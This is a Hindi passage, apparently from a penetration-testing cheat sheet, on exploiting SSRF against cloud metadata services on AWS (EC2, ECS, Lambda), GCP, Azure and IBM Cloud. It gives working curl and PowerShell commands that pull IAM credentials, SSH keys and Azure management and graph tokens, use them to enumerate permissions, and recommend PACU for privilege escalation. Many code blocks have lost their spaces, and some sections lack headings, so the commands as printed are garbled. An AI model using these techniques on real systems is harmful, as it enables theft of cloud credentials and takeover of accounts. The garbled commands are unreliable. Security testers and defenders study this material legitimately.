The metadata endpoint को किसी भी EC2 मशीन के अंदर से एक्सेस किया जा सकता है और यह इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह URL में उपलब्ध है: http://169.254.169.254 (metadata के बारे में जानकारी यहाँ)।
Metadata endpoint के 2 संस्करण हैं। पहला संस्करण GET अनुरोधों के माध्यम से endpoint तक पहुँचने की अनुमति देता है (इसलिए कोई भी SSRF इसका लाभ उठा सकता है)। संस्करण 2 के लिए, IMDSv2, आपको एक टोकन के लिए PUT अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ metadata तक पहुँचने के लिए करना होगा (इसलिए इसे SSRF के साथ दुरुपयोग करना अधिक जटिल है)।
ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, दस्तावेजों के अनुसार, PUT अनुरोध का उत्तर में hop limit 1 होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 metadata तक पहुँच पाना असंभव हो जाएगा।
इसके अलावा, IMDSv2 भी X-Forwarded-For हेडर शामिल करने वाले टोकन को प्राप्त करने के लिए अनुरोधों को ब्लॉक करेगा। यह गलत कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसे एक्सेस करने से रोकने के लिए है।
ध्यान दें कि aws_session_token आवश्यक है ताकि प्रोफ़ाइल काम कर सके।
PACU का उपयोग खोजे गए क्रेडेंशियल्स के साथ आपके विशेषाधिकारों का पता लगाने और विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
AWS ECS (कंटेनर सेवा) क्रेडेंशियल्स में SSRF
ECS, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS यह आपके लिए प्रबंधित करता है। यदि आप ECS में चल रही सेवा को समझौता करने में सफल होते हैं, तो मेटाडेटा एंडपॉइंट्स बदल जाते हैं।
यदि आप http://169.254.170.2/v2/credentials/<GUID> पर पहुँचते हैं, तो आप ECS मशीन के क्रेडेंशियल्स पाएंगे। लेकिन पहले आपको <GUID> ढूंढना होगा। <GUID> खोजने के लिए आपको मशीन के अंदर environ वेरिएबल AWS_CONTAINER_CREDENTIALS_RELATIVE_URI को पढ़ना होगा।
आप इसे Path Traversal का उपयोग करके file:///proc/self/environ को भेदकर पढ़ने में सक्षम हो सकते हैं।
उल्लेखित http पता आपको AccessKey, SecretKey और token देगा।
ध्यान दें कि कुछ मामलों में आप कंटेनर से EC2 मेटाडेटा इंस्टेंस तक पहुँच सकते हैं (पहले उल्लेखित IMDSv2 TTL सीमाओं की जाँच करें)। इन परिदृश्यों में, आप कंटेनर से कंटेनर IAM भूमिका और EC2 IAM भूमिका दोनों तक पहुँच सकते हैं।
AWS Lambda के लिए SSRF
इस मामले में क्रेडेंशियल्स env वेरिएबल्स में संग्रहीत होते हैं। इसलिए, उन्हें एक्सेस करने के लिए आपको कुछ ऐसा एक्सेस करना होगा जैसे file:///proc/self/environ।
दिलचस्प env वेरिएबल्स के नाम हैं:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
इसके अलावा, IAM क्रेडेंशियल्स के अलावा, Lambda फ़ंक्शंस के पास इवेंट डेटा होता है जो फ़ंक्शन शुरू होने पर फ़ंक्शन को पास किया जाता है। यह डेटा फ़ंक्शन के लिए रनटाइम इंटरफेस के माध्यम से उपलब्ध कराया जाता है और इसमें संवेदनशीलजानकारी हो सकती है (जैसे stageVariables के अंदर)। IAM क्रेडेंशियल्स के विपरीत, यह डेटा मानक SSRF के माध्यम से http://localhost:9001/2018-06-01/runtime/invocation/next पर पहुँच योग्य है।
ध्यान दें कि lambda क्रेडेंशियल्सenv वेरिएबल्स के अंदर होते हैं। इसलिए यदि lambda कोड का स्टैक ट्रेस env वेरिएबल्स को प्रिंट करता है, तो ऐप में एक त्रुटि उत्पन्न करके उन्हें एक्सफिल्ट्रेट करना संभव है।
निकाले गए सेवा खाता टोकन का उपयोग करने के लिए आप बस कर सकते हैं:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
env से आप IDENTITY_HEADERऔरIDENTITY_ENDPOINT के मान प्राप्त कर सकते हैं। जिसका उपयोग आप मेटाडेटा सर्वर के साथ बातचीत करने के लिए एक टोकन प्राप्त करने के लिए कर सकते हैं।
अधिकतर, आप इन संसाधनों में से किसी एक के लिए एक टोकन चाहते हैं:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
ध्यान दें कि IBM में डिफ़ॉल्ट रूप से मेटाडेटा सक्षम नहीं है, इसलिए यह संभव है कि आप इसे एक्सेस नहीं कर पाएंगे, भले ही आप IBM क्लाउड VM के अंदर हों
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
विभिन्न प्लेटफार्मों की मेटाडेटा सेवाओं के लिए दस्तावेज़ीकरण नीचे दिया गया है, जो उन तरीकों को उजागर करता है जिनके माध्यम से उदाहरणों के लिए कॉन्फ़िगरेशन और रनटाइम जानकारी तक पहुंचा जा सकता है। प्रत्येक प्लेटफ़ॉर्म अपनी मेटाडेटा सेवाओं तक पहुँचने के लिए अद्वितीय एंडपॉइंट प्रदान करता है।